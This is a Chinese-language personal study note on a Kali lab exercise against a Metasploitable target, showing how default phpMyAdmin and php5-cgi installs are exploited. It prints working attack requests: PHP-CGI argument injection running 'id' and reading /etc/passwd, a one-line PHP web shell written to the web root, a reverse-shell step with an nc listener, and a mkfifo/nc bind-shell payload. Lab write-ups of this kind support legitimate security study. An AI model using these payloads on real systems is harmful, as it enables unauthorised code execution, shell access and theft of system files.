Kali學習筆記29:預設安裝漏洞
文章的格式也許不是很好看,也沒有什麼合理的順序
完全是想到什麼寫一些什麼,但各個方面都涵蓋到了
能耐下心看的朋友歡迎一起學習,大牛和槓精們請繞道
早期Windows預設自動開啟很多服務
很多的黑客就會利用這些漏洞輕易獲取System許可權
在Linux和Windows系統中都會有很多的預設安裝漏洞
下面我就典型的案例來分析:
目標靶機Metasploitable的IP:192.168.163.129
Kali機器的IP:192.168.163.132
PHP部署的程式猿會知道:
phpMyAdmin專門用來管理MySQL資料庫
如果粗心的程式猿就會忘記進行配置
於是我們可以訪問到一些敏感的目錄(早期版本):
例如phpMyAdmin/setup
如果程式猿不進行一些訪問限制,那麼很多的黑客就可以通過這種方式來進入,從而進行惡意的操作
只是說沒有什麼意思,下面我具體地來利用這個漏洞來測試:
我用Burp來重發請求,並且做一定的修改:
POST http://192.168.163.129/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
Host: 192.168.163.129<?php passthru('id'); die(); ?>
通過上邊的一系列程式碼使目標機器執行作業系統的id命令
利用Burp的Repeater做到了,獲取了UID
那麼其他命令呢?比如ls
但是,我們如果傳送一些管理員許可權才可以使用的命令:比如reboot
這時候就不可以做了,因為我們獲取的只是普通許可權
那麼,我們是否可以寫檔案呢?是否可以獲取shell呢(其實這已經獲取了shell)?
第一種上傳網頁木馬
echo"<?php \$cmd = \$_GET["cmd"];system(\$cmd);?>" >/var/www/2.php
伺服器返回了OK
接下來我們訪問:192.168.163.129/2.php?cmd=[命令],就得到shell了
然後就可以做提權了
第二種:使用Kali自帶的一些指令碼,直接獲取shell:反連Shell
我把它複製出來,稍作修改就可以使用:
儲存
然後把全篇內容作為Body用Repeater傳送:
注意這裡的HOST必須是Kali的IP
同時用nc監聽:nc -vlp
傳送後就獲得了真正的Shell
注意:這裡獲取了shell,但是並沒有在目標伺服器上寫入資料,只是反連接獲取了一個shell
有一個小問題:獲取了Shell,但是無法執行Ifconfig這個基本命令,需要怎麼辦?
whereis ifconfig搜尋位置
進入目標目錄,然後./ifconcig即可
Ubuntu/Debain預設安裝PHP5-CGI漏洞
其針對Apache/PHP遠端程式碼執行漏洞攻擊
該漏洞存在於使用PHP的Apache伺服器,在Debian和Ubuntu的伺服器上預設安裝php5-cgi模組的伺服器都存在此漏洞。
程式設計師可以使用CGI模組在PHP程式碼中呼叫作業系統的命令
如果安裝了PHP5-CGI,則會在/usr/lib/cgi-bin下面生成兩個二進位制檔案:php和php5
下面我會利用這裡的php遠端執行程式碼
我們傳送編碼後的引數資訊(編碼是為了防止伺服器過濾資訊)去獲取目標伺服器的shell
POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1 Host: 123 Content-Length: 45 <?php echo system('cat /etc/passwd'); ?>
不過,遺憾的是,這裡我失敗了
成功的話,理論上可以參照上邊的方式繼續進行滲透
甚至可以直接寫入指令,讓目標系統直接開啟某個埠,我用NC連線即可:
<?php echo system('mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe'); ?>
這一篇稍簡短一些,後邊我們繼續